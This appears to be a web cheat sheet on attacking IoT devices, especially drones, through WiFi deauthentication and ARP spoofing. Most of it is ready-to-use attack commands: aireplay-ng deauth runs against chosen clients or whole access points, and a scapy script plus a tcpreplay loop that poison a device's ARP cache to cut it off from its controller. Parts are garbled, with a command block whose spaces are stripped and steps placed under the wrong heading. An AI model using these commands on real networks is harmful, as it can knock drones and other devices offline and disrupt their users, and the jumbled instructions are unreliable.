IoT devices are often either connected to a WiFi network or even host their own network for user to intact with it. A stable WiFi connection can be critical to some IoT devices.For example deauthentication is probably one of the most concerning things a drone pilot can experience, since when his controller is deauthenticated he is unable to control the drone appropriate.
Cheat Sheet
Using aireplay-ng
# Put the wireless interface in monitor modeairmon-ngstartwlan0# Scan for networks to identify target AP and clientsairodump-ngwlan0mon# (Optional) Focus scan on a specific channel to reduce noiseairodump-ng-c<channel>wlan0mon# Perform deauthentication attack on a specific clientaireplay-ng--deauth10-a<AP_BSSID>-c<CLIENT_MAC>wlan0mon# Deauthenticate all clients from the APaireplay-ng--deauth10-a<AP_BSSID>wlan0mon# Stop monitor mode on the wireless interfaceairmon-ngstopwlan0mon
ARP-Spoofing:
Usage
1. Put the Wireless Interface in Monitor Mode
First, place your wireless network interface card in monitor mode. Replace wlan0 (should be shown in ifconfig) with your interface name.
This will enable monitor mode on wlan0 and may rename it to something like wlan0mon.
2. Identify Target Access Point and Clients
Next, use airodump-ng to find the BSSID (MAC address) of the access point (AP) and the client(s) connected to it.
Take note of the BSSID of the target AP and the channel it is operating on.
3. Deauthenticate Target Client
Use the aireplay-ng command to send deauthentication packets. Replace wlan0mon with your monitor interface, AP_BSSID with the BSSID of the access point, and CLIENT_MAC with the MAC address of the target client.
Deauthenticate a specific client from an AP:
Here, 10 is the number of deauth packets to send (you can increase or decrease this as needed).
Deauthenticate all clients from an AP:
1. Join the Target Network
Connect to the target network you want to perform the attack on, as ARP spoofing requires the attacker to be within the same network.
2. Identify Target Device and Controller
Use a network scanning tool like nmap to identify the IP and MAC addresses of the device (e.g., a drone) and the controller.
Replace <network_address_range> with the IP range (e.g., 192.168.1.0/24). Note the IP and MAC addresses of both the target device and the controller.
3. Capture a Legitimate ARP Response
Use tcpdump to capture ARP responses in the network. Look for packets showing the controller’s IP and MAC association.
Replace <interface> with your network interface. This will save the ARP traffic to a file called arp_capture.pcap.
4. Modify the ARP Response with a Spoofed MAC Address
Using scapy in Python, craft a spoofed ARP packet to mislead the target device into associating the controller's IP with the attacker's MAC.
Replace <controller_IP> with the controller’s IP, <attacker_MAC> with your MAC address, and <target_IP> with the target device’s IP.
5. Replay the Spoofed ARP Packet to the Target Device
Send the modified ARP packet to the target device continuously to maintain the spoofed association.
Replace <interface> with your network interface. This command replays the spoofed ARP response in a loop.
6. Monitor the Connection Status
Observe the target device or the controller to confirm the deauthentication. The controller should eventually show a "disconnected" status when it no longer receives responses.
7. Stop the Attack
To end the attack, stop sending spoofed ARP packets by terminating the replay or spoofing process (press Ctrl+C if running in a terminal). The target device should revert to the correct MAC association upon receiving a legitimate ARP response from the controller.
# 1. Join the Target Network
# Connect to the target network (no command, but ensure you're connected to the same network as the target device).
# 2. Identify the Target Device and Controller
nmap -sn <network_address_range> # Scans the network to identify devices (replace with network range, e.g., 192.168.1.0/24)
# 3. Capture a Legitimate ARP Response
tcpdump -i <interface> arp -w arp_capture.pcap # Captures ARP packets to a file (replace <interface> with your network interface)
# 4. Modify the ARP Response with a Spoofed MAC Address
# Use a tool like `scapy` in Python to craft a spoofed ARP packet:
from scapy.all import ARP, send
packet = ARP(op=2, psrc="<controller_IP>", hwsrc="<attacker_MAC>", pdst="<target_IP>")
send(packet, loop=1, inter=0.5)
# 5. Replay the Spoofed ARP Packet to the Target Device
tcpreplay --intf1=<interface> -l 0 arp_capture.pcap # Sends the modified ARP packet to the network continuously (replace <interface>)
# 6. Monitor the Connection Status
# Observe the target device or controller for any indication of disconnection (e.g., disconnected light or notification).
# 7. Stop the Attack
# Stop sending packets by terminating the `tcpreplay` or ARP spoofing script (press Ctrl+C to end the process).
airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a AP_BSSID -c CLIENT_MAC wlan0mon
